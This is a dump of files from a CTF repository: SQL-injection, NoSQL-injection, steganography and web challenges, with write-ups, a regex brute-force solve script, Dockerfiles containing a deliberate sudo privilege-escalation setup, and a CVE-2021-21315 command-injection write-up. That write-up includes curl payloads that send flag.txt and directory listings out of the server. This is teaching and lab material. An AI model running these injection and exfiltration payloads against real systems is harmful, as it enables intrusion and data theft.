--------------------------------------------------------------------------------
/challenges/sqli/sqli5/README.md:
--------------------------------------------------------------------------------
1 | # SQL injection 5
2 |
3 | > web
4 |
5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer)
6 |
7 | Ce cinquième défi d'injection SQL est identique au défi précédent, cependant le mot `UNION` se fait filtrer. Le code PHP utilise la ligne de code suivante pour supprimer ce mot clé de la requête SQL: `$reqstr = str_ireplace("union", "", $reqstr);`. Il existe tout de même moyen de parvenir au même résultat qu'au défi précédent et afficher le flag.
8 |
9 | ## Setup
10 |
11 | Requirements:
12 | - BurpSuite
13 |
14 | # Writeup
15 |
16 | Référez-vous à la solution du défi précédent.
17 |
18 | L'injection `" union select 1,2,flag from flag--` résulte en une requête invalide. Toutes les occurences du mot "union" sont supprimées. On ne peut donc pas non plus faire `" unionunion select 1,2,flag from flag--`. On peut cependant faire `" ununionion select 1,2,flag from flag--`. Le mot clé "union" est supprimé, cependent le nouveau mot "union" qui a été formé n'est pas filtré car la fonction ne réeffectue pas un scan du début pour trouver le nouveau mot clé qui vient d'être formé en supprimant l'autre.
19 |
20 | Le flag obtenu est `FLAG-b2b38394a280fc1315644e6ad3879f7bfiltersdontwork`.
21 |
--------------------------------------------------------------------------------
/challenges/sqli/sqli6/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM php:8.0.10-apache
2 |
3 | RUN apt-get update -y
4 | RUN apt-get upgrade -y
5 |
6 | COPY src /var/www/html
7 |
--------------------------------------------------------------------------------
/challenges/sqli/sqli6/README.md:
--------------------------------------------------------------------------------
1 | # SQL injection 6
2 |
3 | > web
4 |
5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer)
6 |
7 | Ce sixième défi d'injection SQL similaire aux deux défis prédédents, cependant le flag se cache dans une table aillant un nom inconnu. Vous devez trouver un moyen de l'obtenir puis ensuite récupérer le flag. Le mot clé "union" n'est plus filtré, donc vous avez cet embuche en moins.
8 |
9 | Il y a peut-être de l'information qui peut vous aider à résoudre ce défi dans les description de défis précédente. Notez que la colonne où le flag se trouve se nomme toujours "flag".
10 |
11 | ## Setup
12 |
13 | Requirements:
14 | - BurpSuite
15 |
16 | # Writeup
17 |
18 | Sachant que la base de données est SQLite3, on peut aller chercher le nom des tables comme suit:
19 | `" union select 1,2,name from sqlite_master--`
20 |
21 | Par la suite, ayant obtenu le nom de la table, on peut faire:
22 | `" union select 1,2,flag from K953U0Ty4V--`.
23 |
24 | Le tour est joué. `FLAG-25389bf2c3b5f951b1201213fa6c46baYouAreEpic`
25 |
--------------------------------------------------------------------------------
/challenges/sqli/sqli7/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM php:8.0.10-apache
2 |
3 | RUN apt-get update -y
4 | RUN apt-get upgrade -y
5 |
6 | COPY src /var/www/html
7 |
--------------------------------------------------------------------------------
/challenges/sqli/sqli7/README.md:
--------------------------------------------------------------------------------
1 | # SQL injection 7
2 |
3 | > web
4 |
5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer)
6 |
7 | Ce septième défi d'injection SQL indentique au défi précédent, cependant vous ne connaissez pas le nom de la table ni de la colonne!
8 |
9 | Bonne chance!! :-)
10 |
11 | ## Setup
12 |
13 | Requirements:
14 | - BurpSuite
15 |
16 | # Writeup
17 |
18 | Nom de la table:
19 | `" union select 1,2,name from sqlite_master--`
20 |
21 | Résultat: Ja93MjakS
22 |
23 | Nom de la colonne:
24 | `" union select 1,2,name from PRAGMA_TABLE_INFO("Ja93MjakS")--`
25 |
26 | Résultat: `Dab93JkA`
27 |
28 | Requête finale: `" union select 1,2,Dab93JkA from Ja93MjakS--`
29 |
30 | Résultat: `FLAG-7de1baec41fa6c0969290f2f2e8eddcfOkThisWasEasy`
31 |
--------------------------------------------------------------------------------
/challenges/sqli/sqli8/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM php:8.0.10-apache
2 |
3 | RUN apt-get update -y
4 | RUN apt-get upgrade -y
5 |
6 | COPY src /var/www/html
7 |
--------------------------------------------------------------------------------
/challenges/sqli/sqli8/README.md:
--------------------------------------------------------------------------------
1 | # SQL injection 8
2 |
3 | > web
4 |
5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer)
6 |
7 | Ce huitième et dernier défi d'injection SQL, on utilise le même code backend que celui du défi SQL injection 6. Il y a une table secrète qui contient une colonne "flag". Cependent, le mot "flag" est dans la blacklist. Il est complètement interdit. En d'autres termes, la requête SQL ne sera pas exécutée du tout si le mot est détecté.
8 |
9 | ## Setup
10 |
11 | Requirements:
12 | - BurpSuite
13 |
14 | # Writeup
15 |
16 | Nom de la table:
17 | `" union select 1,2,name from sqlite_master--`
18 |
19 | Résultat: cKretTblName
20 |
21 | Donc, on l'utilise dans la requête suivante:
22 | `" union select 1,* from cKretTblName--`
23 |
24 | Dans ce cas, `1,*` deviendra `1, id, flag`. Comme `flag` est dans le dernier champs, c'est lui qui sera utilisé comme mot de passe.
25 |
26 | Le flag obtenu: `FLAG-a7541918ece21a8dc17a3dc9bae1f23bYoureTheBoss`
27 |
--------------------------------------------------------------------------------
/challenges/sqli/sqli9/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM php:8.0.10-apache
2 |
3 | RUN apt-get update -y
4 | RUN apt-get upgrade -y
5 |
6 | COPY src /var/www/html
7 |
--------------------------------------------------------------------------------
/challenges/sqli/sqli9/README.md:
--------------------------------------------------------------------------------
1 | # SQL injection 9
2 |
3 | > web
4 |
5 | Author: [Alexandre-Xavier Labonté-Lamoureux (AXDOOMER)](https://github.com/axdoomer)
6 |
7 | Bon, j'ai menti, ce n'était pas le dernier défi d'injection SQL. Le propriétaire du site web est vraiment tanné de se faire voler tous ses flags. Il reste un flag dans la colonne `flag` de la table `flag`, mais le propriétaire du site a interdit les espaces dans les champs d'input de l'utilisateur. En d'autres mots, votre injection SQL ne sera pas exécutée si elle contient des espaces.
8 |
9 | Maintenant que les espaces sont interdites, pouvez-vous trouver un moyen de quand même effectuer une injection SQL?
10 |
11 | Bon succès!
12 |
13 | ## Setup
14 |
15 | Requirements:
16 | - BurpSuite
17 |
18 | # Writeup
19 |
20 | Il faut trouver un moyen d'avoir des espaces sans en utiliser. Avec SQLite, on peut insérer des espaces en utilisant `/**/` dans une requête.
21 |
22 | `"/**/union/**/select/**/1,2,flag/**/from/**/flag--`
23 |
24 | On aura le flag: `FLAG-8f9f741bb17cc4176c357d6028c4aa70c994bc75welld0nehacker`
25 |
--------------------------------------------------------------------------------
/challenges/steg/26 shades of red/README.md:
--------------------------------------------------------------------------------
1 | # 26 Shades of Red
2 |
3 | > Steg
4 |
5 | Author: [Dylan Bobb (dylanbobb)](https://github.com/dylanbobb)
6 |
7 | Your artist friends were sharing some color palettes, but something looks a bit off in the order. \
8 | Can you crack the code and find the hidden messages your artist friends are sending? \
9 |
10 | Note: The flag is all caps
11 |
12 | # Writeup
13 | 
14 | This is another very easy challenge. \
15 | First, simply realize that the first row is a legend wherein the first color represents an "A", the second color a "B", etc. \
16 | Then by simply translating the second row according to the legend, the flag can be found. \
17 | Of course, participants are encouraged to perform this challenge programatically to avoid tedious manual labour, but it is not a requirement.
18 |
19 | flag: `FLAG-PIXELSAREMYPASSION`
20 |
--------------------------------------------------------------------------------
/challenges/steg/26 shades of red/file.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/steg/26 shades of red/file.png
--------------------------------------------------------------------------------
/challenges/steg/lostandfound/.gitignore:
--------------------------------------------------------------------------------
1 | /node_modules
2 | /out
3 | /flags/final/*
4 | !/flags/final/.gitkeep
--------------------------------------------------------------------------------
/challenges/steg/lostandfound/README.md:
--------------------------------------------------------------------------------
1 | # PNG repair
2 | > steg
3 | Author: @KptCheeseWhiz
4 |
5 | ## Challenge
6 | The most evil hacker in the world corrupted all my cute kitten images 😾😾. Can you help me recover my cuties 😿?
7 |
8 | ## Writeup
9 |
10 | ### Flag 1
11 | This image has its header erased. Add the header `0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a` back and it will display.
12 |
13 | ### Flag 2
14 | This image has its bytes reversed, reverse it back to see the flag.
15 |
16 | ### Flag 3
17 | This image has its dimensions set to 1x1. You can try to find the right width and height by opening the image in GIMP as a raw (.data) image. Then you set the height to around 1500 and adjust the width. You should be able to see a repeating pattern that "synchrosises" up to around 2000. Then you can create multiple images around that width, up to you to find the right one. Add two `uint32` at the position `16` and `20` of values `2000` and `1333`.
18 |
19 | ### Flag 4
20 | This image has its length and CRC checksum erased for IDAT segments. Originally, it was supposed to be only the CRC that were erased, but since Windows Photo doesn't care about CRCs, I added the length. (refer to `src/flag4.ts`)
21 |
22 | ### Flag 5
23 | This image has its IDAT segments scrambled. First, you need to find the first IDAT segment which is marked by the letter `x` or `0x78`. Then you need to find the last segment which is the one that has a different size. After that, you need to bruteforce the rest of the segments one by one to obtain an image that is more and more visible until you can read the flag. (refer to `src/flag5.ts`)
24 |
25 | ## Setup
26 |
27 | ### Requirements
28 | - nodejs
29 |
30 | ### How to run
31 | - Execute the command `npm run genflags`
--------------------------------------------------------------------------------
/challenges/steg/lostandfound/flags/final/.gitkeep:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/steg/lostandfound/flags/final/.gitkeep
--------------------------------------------------------------------------------
/challenges/steg/lostandfound/flags/original/flag1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/steg/lostandfound/flags/original/flag1.png
--------------------------------------------------------------------------------
/challenges/steg/lostandfound/flags/original/flag2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/steg/lostandfound/flags/original/flag2.png
--------------------------------------------------------------------------------
/challenges/steg/lostandfound/flags/original/flag3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/steg/lostandfound/flags/original/flag3.png
--------------------------------------------------------------------------------
/challenges/steg/lostandfound/flags/original/flag4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/steg/lostandfound/flags/original/flag4.png
--------------------------------------------------------------------------------
/challenges/steg/lostandfound/flags/original/flag5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/steg/lostandfound/flags/original/flag5.png
--------------------------------------------------------------------------------
/challenges/steg/lostandfound/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "lostandfound",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "src/index.ts",
6 | "scripts": {
7 | "prebuild": "npm run clean",
8 | "build": "tsc",
9 | "clean": "rm -rf ./out || true",
10 | "pregenflags": "npm run build",
11 | "genflags": "npm run genflag1; npm run genflag2; npm run genflag3; npm run genflag4; npm run genflag5",
12 | "genflag1": "node out/flag1.js b flags/original/flag1.png flags/final/flag1.png",
13 | "genflag2": "node out/flag2.js b flags/original/flag2.png flags/final/flag2.png",
14 | "genflag3": "node out/flag3.js b flags/original/flag3.png flags/final/flag3.png",
15 | "genflag4": "node out/flag4.js b flags/original/flag4.png flags/final/flag4.png",
16 | "genflag5": "node out/flag5.js b flags/original/flag5.png flags/final/flag5.png"
17 | },
18 | "keywords": [],
19 | "author": "",
20 | "license": "ISC",
21 | "devDependencies": {
22 | "@types/node": "^16.9.1",
23 | "ts-node": "^10.2.1",
24 | "typescript": "^4.4.3"
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/challenges/steg/lostandfound/src/flag1.ts:
--------------------------------------------------------------------------------
1 | if (process.argv.length !== 5) {
2 | console.error(`${process.argv[1]} [break|repair] src dst`);
3 | process.exit(1);
4 | }
5 |
6 | import * as fs from "fs/promises";
7 |
8 | // FLAG-54f1e31c38110fc3a81de08c63405862040acbcd
9 | (async () => {
10 | const [ACTION, SRC, DST] = process.argv.slice(2);
11 | if (ACTION[0] === "b") {
12 | const data = await fs.readFile(SRC);
13 | data.writeBigUInt64BE(BigInt(0));
14 | await fs.writeFile(DST, data);
15 | } else if (ACTION[0] === "r") {
16 | const data = await fs.readFile(SRC);
17 | data.writeBigUInt64BE(BigInt("0x89504e470d0a1a0a"));
18 | await fs.writeFile(DST, data);
19 | } else {
20 | console.error(`${process.argv[1]} [break|repair] src dst`);
21 | process.exit(1);
22 | }
23 | })();
24 |
--------------------------------------------------------------------------------
/challenges/steg/lostandfound/src/flag2.ts:
--------------------------------------------------------------------------------
1 | if (process.argv.length !== 5) {
2 | console.error(`${process.argv[1]} [break|repair] src dst`);
3 | process.exit(1);
4 | }
5 |
6 | import * as fs from "fs/promises";
7 |
8 | // FLAG-05e03c712aca474128f237d74d86cc0f225df863
9 | (async () => {
10 | const [ACTION, SRC, DST] = process.argv.slice(2);
11 | if (ACTION[0] === "b" || ACTION[0] === "r") {
12 | const orig_data = await fs.readFile(SRC);
13 | const new_data = Buffer.alloc(orig_data.length);
14 |
15 | // inverse the png
16 | for (let i = 0; i < orig_data.length; ++i) {
17 | new_data[new_data.length - 1 - i] = orig_data[i];
18 | }
19 | await fs.writeFile(DST, new_data);
20 | } else {
21 | console.error(`${process.argv[1]} [break|repair] src dst`);
22 | process.exit(1);
23 | }
24 | })();
25 |
--------------------------------------------------------------------------------
/challenges/steg/lostandfound/src/flag3.ts:
--------------------------------------------------------------------------------
1 | if (process.argv.length !== 5) {
2 | console.error(`${process.argv[1]} [break|repair] src dst`);
3 | process.exit(1);
4 | }
5 |
6 | import * as fs from "fs/promises";
7 |
8 | // FLAG-b0de49381751079643f0aaefdbcb9ee25be7f845
9 | (async () => {
10 | const [ACTION, SRC, DST] = process.argv.slice(2);
11 | if (ACTION[0] === "b") {
12 | const data = await fs.readFile(SRC);
13 | data.writeUInt32BE(1, 16);
14 | data.writeUInt32BE(1, 20);
15 | await fs.writeFile(DST, data);
16 | } else if (ACTION[0] === "r") {
17 | const data = await fs.readFile(SRC);
18 | data.writeUInt32BE(2000, 16);
19 | data.writeUInt32BE(1333, 20);
20 | await fs.writeFile(DST, data);
21 | } else {
22 | console.error(`${process.argv[1]} [break|repair] src dst`);
23 | process.exit(1);
24 | }
25 | })();
26 |
--------------------------------------------------------------------------------
/challenges/steg/lostandfound/tsconfig.json:
--------------------------------------------------------------------------------
1 | {
2 | "compilerOptions": {
3 | "target": "es6",
4 | "moduleResolution": "node",
5 | "module": "commonjs",
6 | "declaration": false,
7 | "noLib": false,
8 | "emitDecoratorMetadata": true,
9 | "experimentalDecorators": true,
10 | "pretty": true,
11 | "allowUnreachableCode": true,
12 | "allowUnusedLabels": true,
13 | "noImplicitAny": true,
14 | "noImplicitReturns": false,
15 | "noImplicitUseStrict": false,
16 | "outDir": "out/",
17 | "baseUrl": "src/"
18 | },
19 | "include": ["./**/*"],
20 | "exclude": ["node_modules"],
21 | "compileOnSave": false
22 | }
23 |
--------------------------------------------------------------------------------
/challenges/steg/nagware/README.md:
--------------------------------------------------------------------------------
1 | # nagware
2 |
3 | > Steg
4 |
5 | Author: [Dylan Bobb (dylanbobb)](https://github.com/dylanbobb)
6 |
7 | The other steg challenges all had something that looked (or sounded) slightly strange.
8 | But, for effective steg to be possible, it shouldn't even be obvious that a message was hidden at all.
9 | Can you find the secret content in this seemingly normal looking logo?
10 |
11 | # Writeup
12 | 
13 |
14 | This challenge can be solved with many tools that find hidden files in images. \
15 | There are 2 files hidden in this image, one is a flag.txt file, which contains a link to a pastebin. \
16 | The other is a zip file, that is password protected. \
17 |
18 |
19 | For those that don't want to use any "fancy" tools:
20 | - The [link to the pastebin](https://pastebin.com/TSiXFe1u) can simply be found in the strings of the file.
21 | - The zip can be found simply by opening the image with winRAR, 7Zip, etc (the title nagware is a hint that winRAR will be useful).
22 |
23 |
24 | The contents of the pastebin, are simply the password of the zip, which when extracted reveal the flag.
25 |
26 | flag: `flag-hiddeninplainsight`
27 |
--------------------------------------------------------------------------------
/challenges/steg/nagware/logo.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/steg/nagware/logo.jpg
--------------------------------------------------------------------------------
/challenges/steg/rqbp-ed/README.md:
--------------------------------------------------------------------------------
1 | # rqbp-ed
2 |
3 | > Steg
4 |
5 | Author: [Dylan Bobb (dylanbobb)](https://github.com/dylanbobb)
6 |
7 | La stéganographie consiste souvent à trouver des fichiers dans des images.\
8 | Mais, pouvez-vous trouver l'image dans ce fichier?
9 |
10 | # Writeup
11 | First, from the description of the challenge, the binary must be converted to an image, which can be done with many online tools (ex: https://www.dcode.fr/binary-image) \
12 | This generates the following QR Code:\
13 |  \
14 | \
15 | \
16 | After scanning, we get the message: 0199-133-102 1+ rz yynP \
17 | Next, notice that the title of the challenge is a hint, and is simply the rot-13 of the reverse of "qr-code".\
18 | Taking the rot-13 and reverse of the message, we get: Call me +1 201-331-9910 \
19 | After calling the number, there is a weird audio recording played: [Audio](https://vocaroo.com/16c8q2Q2wLsJ) \
20 | Reversing the audio results in a more understandable message: [Audio](https://voca.ro/16LzF8fDHmMH) \
21 | Transcript:
22 | > All caps. The flag is: FLAG-RINGRING. Good job, good-bye!
23 |
24 | flag: `FLAG-RINGRING`
25 |
--------------------------------------------------------------------------------
/challenges/steg/spectacles/README.md:
--------------------------------------------------------------------------------
1 | # spectacles
2 |
3 | > Steg
4 |
5 | Author: [Dylan Bobb (dylanbobb)](https://github.com/dylanbobb)
6 |
7 | This audio file sounds a little weird. \
8 | Can you put on your spectacles and try to find the hidden message?
9 |
10 | # Writeup
11 | This is quite a simple challenge that can be solved in 1 step if someone knows where to look. \
12 | The name of the challenge is a subtle nod indicated that the audio program "Spek" should be used. \
13 | After loading the wav file into spek, the flag is immediately given.
14 | 
15 |
16 | flag: `FLAG-ST3G4N0GR4PHY`
17 |
--------------------------------------------------------------------------------
/challenges/steg/spectacles/file.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/UnitedCTF/UnitedCTF-2021/568fa6610df8374f744b6046269fae693d85ec74/challenges/steg/spectacles/file.wav
--------------------------------------------------------------------------------
/challenges/web/api1_nosqli/.dockerignore:
--------------------------------------------------------------------------------
1 | node_modules
2 | README.md
3 | solve.py
4 | Dockerfile
5 | docker-compose.yml
6 | package-lock.json
--------------------------------------------------------------------------------
/challenges/web/api1_nosqli/.gitignore:
--------------------------------------------------------------------------------
1 | node_modules
2 | data
3 | .env
4 | package-lock.json
5 | .idea
6 | vscode
--------------------------------------------------------------------------------
/challenges/web/api1_nosqli/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:latest
2 | RUN mkdir -p /usr/src/app
3 | WORKDIR /usr/src/app
4 | COPY package.json .
5 | RUN npm install
6 | COPY . .
7 | EXPOSE 3000
8 | CMD [ "npm", "start" ]
--------------------------------------------------------------------------------
/challenges/web/api1_nosqli/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | app:
4 | container_name: api1
5 | restart: always
6 | build: .
7 | environment:
8 | - FLAG=FLAG-No5QL_D0ESNT_M3AN_N0_SQLi
9 | - MONGO_INITDB_DATABASE=api1
10 | - MONGO_URL=mongodb://admin:46UeIA53nSKeeeryixbu@mongo:27017/api1?authSource=admin&readPreference=primary&directConnection=true&ssl=false
11 | ports:
12 | - '3000:3000'
13 | external_links:
14 | - mongo
15 | mongo:
16 | container_name: mongo
17 | image: mongo
18 | environment:
19 | - MONGO_INITDB_ROOT_USERNAME=admin
20 | - MONGO_INITDB_ROOT_PASSWORD=46UeIA53nSKeeeryixbu
21 | - MONGO_INITDB_DATABASE=api1
22 | ports:
23 | - '27017:27017'
--------------------------------------------------------------------------------
/challenges/web/api1_nosqli/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "Quotes-A-Day",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "app.js",
6 | "scripts": {
7 | "start": "node app.js",
8 | "dev": "nodemon app.js",
9 | "docker": "docker-compose up --build --force-recreate --renew-anon-volumes"
10 | },
11 | "keywords": [],
12 | "author": "",
13 | "license": "ISC",
14 | "dependencies": {
15 | "cors": "^2.8.5",
16 | "express": "^4.17.1",
17 | "mongodb": "^4.1.0",
18 | "morgan": "^1.10.0",
19 | "swagger-ui-express": "^4.1.6",
20 | "inspirational-quotes": "^1.0.8",
21 | "swagger-jsdoc": "^6.1.0"
22 | },
23 | "devDependencies": {
24 | "dotenv": "^10.0.0",
25 | "nodemon": "^2.0.12"
26 | }
27 | }
28 |
--------------------------------------------------------------------------------
/challenges/web/api1_nosqli/solve.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | flag_letters = 'abcdefghijklmnopqrstuvxwyzABCDEFGHIJKLMNOPQRSTUVXWYZ0123456789_-{}'
4 | index = 0
5 | flag = "FLAG-"
6 | url = "http://localhost:3000/api_key"
7 | headers = {'Content-type': 'application/json'}
8 | while True:
9 | for letter in flag_letters:
10 | data = {"email": "admin@unite.com", "password": {"$regex": "{}(.*)".format(flag + letter)}}
11 | response = requests.post(url, json=data, headers=headers)
12 | index = index + 1
13 | if "API_KEY" in response.text:
14 | flag = flag + letter
15 | print(flag)
--------------------------------------------------------------------------------
/challenges/web/api2_packagevulnerability/.dockerignore:
--------------------------------------------------------------------------------
1 | docker-compose.yml
2 | Dockerfile
3 | README.md
4 | node_modules
5 | .env
6 | .idea
7 | labase.txt
--------------------------------------------------------------------------------
/challenges/web/api2_packagevulnerability/.gitignore:
--------------------------------------------------------------------------------
1 | node_modules
2 | data
3 | .env
4 | package-lock.json
5 | .idea
6 |
--------------------------------------------------------------------------------
/challenges/web/api2_packagevulnerability/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:latest
2 | WORKDIR /usr/src/app
3 | COPY package.json .
4 | RUN npm install
5 | COPY . .
6 | EXPOSE 9002
7 | USER node
8 | CMD [ "npm", "start" ]
--------------------------------------------------------------------------------
/challenges/web/api2_packagevulnerability/README.md:
--------------------------------------------------------------------------------
1 | # Quotes-A-Day 2 (API2)
2 |
3 | > Web
4 | > Author: @Strix
5 |
6 | ## Prompt
7 |
8 | OK, we've patched the previous vulnerability and finally implemented our new system health check feature. Users can now
9 | query our **system information** to check if a site or a service is available or not and make sure to get their daily quote!
10 |
11 | ## Flag
12 |
13 | FLAG: `FLAG-0WASP_T0P_9_PATCH_Y0UR_NPM_PACKAG3S`
14 |
15 | ## Outils nécessaires
16 |
17 | - docker-compose
18 |
19 | ## Exécution
20 |
21 | ```bash
22 | docker-compose up --build --force-recreate --renew-anon-volumes
23 | ```
24 |
25 | ## Writeup
26 |
27 | Le défi ici est une vulnérabilité d'injection de commande dans un package très populaire de nodejs appelée [systeminformation](https://www.npmjs.com/package/systeminformation).
28 | Le package a une vulnérabilité dans 4 fonctions dans lesquels un utilisateur fournit du input non filtré/_santized_.
29 |
30 | L'injection de commande se produit ici par l'utilisation d'un tableau plutôt que d'une chaîne, en raison d'un manque de filtrage dans l'une des fonctions du package. (CVE-2021-21315)
31 |
32 | Le endpoint `GET /systemInfo` requiert un paramètre `service`.
33 |
34 | `GET /systemInfo?service=http:///quotes` retourne le statut du service de la route /quotes, mais
35 |
36 | `/systemInfo?service[]=$(echo 'command injection')` injecterait la commande, puisque `systeminformation.inetChecksite()` ne _sanitize_ pas les tableaux/listes/arrays, mais uniquement les chaînes de caractères.
37 |
38 | L'utilisateur n'a donc qu'à parcourir le répertoire pour trouver le flag.txt.
39 |
40 | ```curl
41 | GET /systemInfo?service[]=$(ls -la > out.txt && curl --form "data=@out.txt" )
42 | ```
43 |
44 | ```curl
45 | GET /systemInfo?service[]=$(curl --form "data=@flag.txt" )
46 | ```
47 |
--------------------------------------------------------------------------------
/challenges/web/api2_packagevulnerability/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | app:
4 | container_name: app_api_2
5 | restart: always
6 | build: .
7 | environment:
8 | - MONGO_INITDB_DATABASE=api2
9 | - MONGO_URL=mongodb://admin:46UeIA53nSKeeeryixbu@mongo:27018/api2?authSource=admin&readPreference=primary&directConnection=true&ssl=false
10 | ports:
11 | - '9002:9002'
12 | external_links:
13 | - mongo
14 | mongo:
15 | container_name: mongo_2
16 | image: mongo
17 | command: mongod --port 27018
18 | environment:
19 | - MONGO_INITDB_ROOT_USERNAME=admin
20 | - MONGO_INITDB_ROOT_PASSWORD=46UeIA53nSKeeeryixbu
21 | - MONGO_INITDB_DATABASE=api2
22 | ports:
23 | - '27018:27018'
--------------------------------------------------------------------------------
/challenges/web/api2_packagevulnerability/flag.txt:
--------------------------------------------------------------------------------
1 | FLAG-0WASP_T0P_9_PATCH_Y0UR_NPM_PACKAG3S
--------------------------------------------------------------------------------
/challenges/web/api2_packagevulnerability/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "Quotes-A-Day 2",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "app.js",
6 | "scripts": {
7 | "start": "node app.js",
8 | "dev": "nodemon app.js",
9 | "test": "echo \"Error: no test specified\" && exit 1",
10 | "docker": "docker-compose up --build --force-recreate --renew-anon-volumes"
11 | },
12 | "keywords": [],
13 | "author": "",
14 | "license": "ISC",
15 | "dependencies": {
16 | "cors": "^2.8.5",
17 | "express": "^4.17.1",
18 | "inspirational-quotes": "^1.0.8",
19 | "mongoose": "^6.0.0",
20 | "morgan": "^1.10.0",
21 | "swagger-jsdoc": "^6.1.0",
22 | "swagger-ui-express": "^4.1.6",
23 | "systeminformation": "4.34.10"
24 | },
25 | "devDependencies": {
26 | "dotenv": "^10.0.0",
27 | "nodemon": "^2.0.12"
28 | }
29 | }
30 |
--------------------------------------------------------------------------------
/challenges/web/api2_packagevulnerability/users.model.js:
--------------------------------------------------------------------------------
1 | const mongoose = require('mongoose')
2 |
3 | const users = mongoose.model('users', new mongoose.Schema({
4 | email: {
5 | type: String,
6 | required: true,
7 | },
8 | password: {
9 | type: String,
10 | required: true
11 | }
12 | }));
13 |
14 | module.exports = users;
15 |
16 |
--------------------------------------------------------------------------------
/challenges/web/cookies/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM php:8.0.10-apache
2 |
3 | RUN apt-get update -y
4 | RUN apt-get upgrade -y
5 |
6 | COPY src /var/www/html
7 |
--------------------------------------------------------------------------------
/challenges/web/cookies/src/user.php:
--------------------------------------------------------------------------------
1 | generateRandom(), str_rot13('user') => str_rot13($usr));
15 | return base64_encode(base64_encode(json_encode($arr)));
16 | }
17 |
18 | if (isset($_GET['guest'])) {
19 | setcookie("session", cookieEncode("guest"));
20 | $_SESSION["failed"] = false;
21 | }
22 |
23 | if (isset($_GET['logout'])) {
24 | setcookie("session", "", time() - 3600);
25 | unset($_COOKIE['session']);
26 | $_SESSION["failed"] = false;
27 | }
28 |
29 | if (isset($_POST['u']) && !empty($_POST['u'])) {
30 | if (isset($_POST['p']) && !empty($_POST['p'])) {
31 | if ($_POST['u'] === "admin" && $_POST['p'] === "MCvs8WkGBXaYuJbu#n3QHcTLTbFNGRQam67BadkFMFnCm4fqM") {
32 | setcookie("session", cookieEncode($_POST['u']));
33 | $_SESSION["failed"] = false;
34 | } else {
35 | $_SESSION["failed"] = true;
36 | }
37 | }
38 | }
39 |
40 | header('Location: index.php');
41 | ?>
42 |
--------------------------------------------------------------------------------
/challenges/web/hackertools/.dockerignore:
--------------------------------------------------------------------------------
1 | node_modules
2 | .dockerignore
3 | Dockerfile
4 | docker-compose*.yml
5 |
--------------------------------------------------------------------------------
/challenges/web/hackertools/.gitignore:
--------------------------------------------------------------------------------
1 | node_modules/
2 | .env
3 |
--------------------------------------------------------------------------------
/challenges/web/hackertools/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:14
2 |
3 | # Sudo
4 |
5 | RUN apt-get update && apt-get install -y sudo python3
6 |
7 | # Users
8 |
9 | RUN useradd -ms /bin/bash -G sudo k1dd13
10 | RUN useradd -ms /bin/bash super_k1dd13
11 |
12 | # Web
13 |
14 | WORKDIR /app
15 |
16 | COPY ./web/package*.json ./
17 |
18 | RUN npm install
19 |
20 | RUN chmod 644 ./package*.json
21 |
22 | COPY ./web/. ./
23 |
24 | ## Chmod on all folders but large `node_modules`.
25 | RUN find . -not -path "*/node_modules*" -type f -exec chmod 644 {} \;
26 |
27 | # PrivEsc
28 |
29 | RUN echo "k1dd13 ALL=(super_k1dd13) NOPASSWD: /bin/lua, /bin/php, /bin/ruby, /bin/vim" >> /etc/sudoers
30 |
31 | ## PrivEsc "binary" script
32 | COPY ./scripts/ruby.sh /bin/ruby
33 | RUN chmod 755 /bin/ruby
34 |
35 | ## Fake "binary" scripts
36 | COPY ./scripts/php.sh /bin/php
37 | RUN chmod 755 /bin/php
38 |
39 | COPY ./scripts/lua.sh /bin/lua
40 | RUN chmod 755 /bin/lua
41 |
42 | # Flags
43 |
44 | RUN mkdir /flags
45 |
46 | COPY ./challenges/1/FLAG /app/flags/FLAG_1
47 | COPY ./challenges/2/FLAG /app/flags/FLAG_2
48 | RUN chown root:k1dd13 /app/flags/FLAG_*
49 | RUN chmod 440 /app/flags/FLAG_*
50 |
51 | COPY ./challenges/3/FLAG /flags/FLAG_3
52 | RUN chown root:k1dd13 /flags/FLAG_3
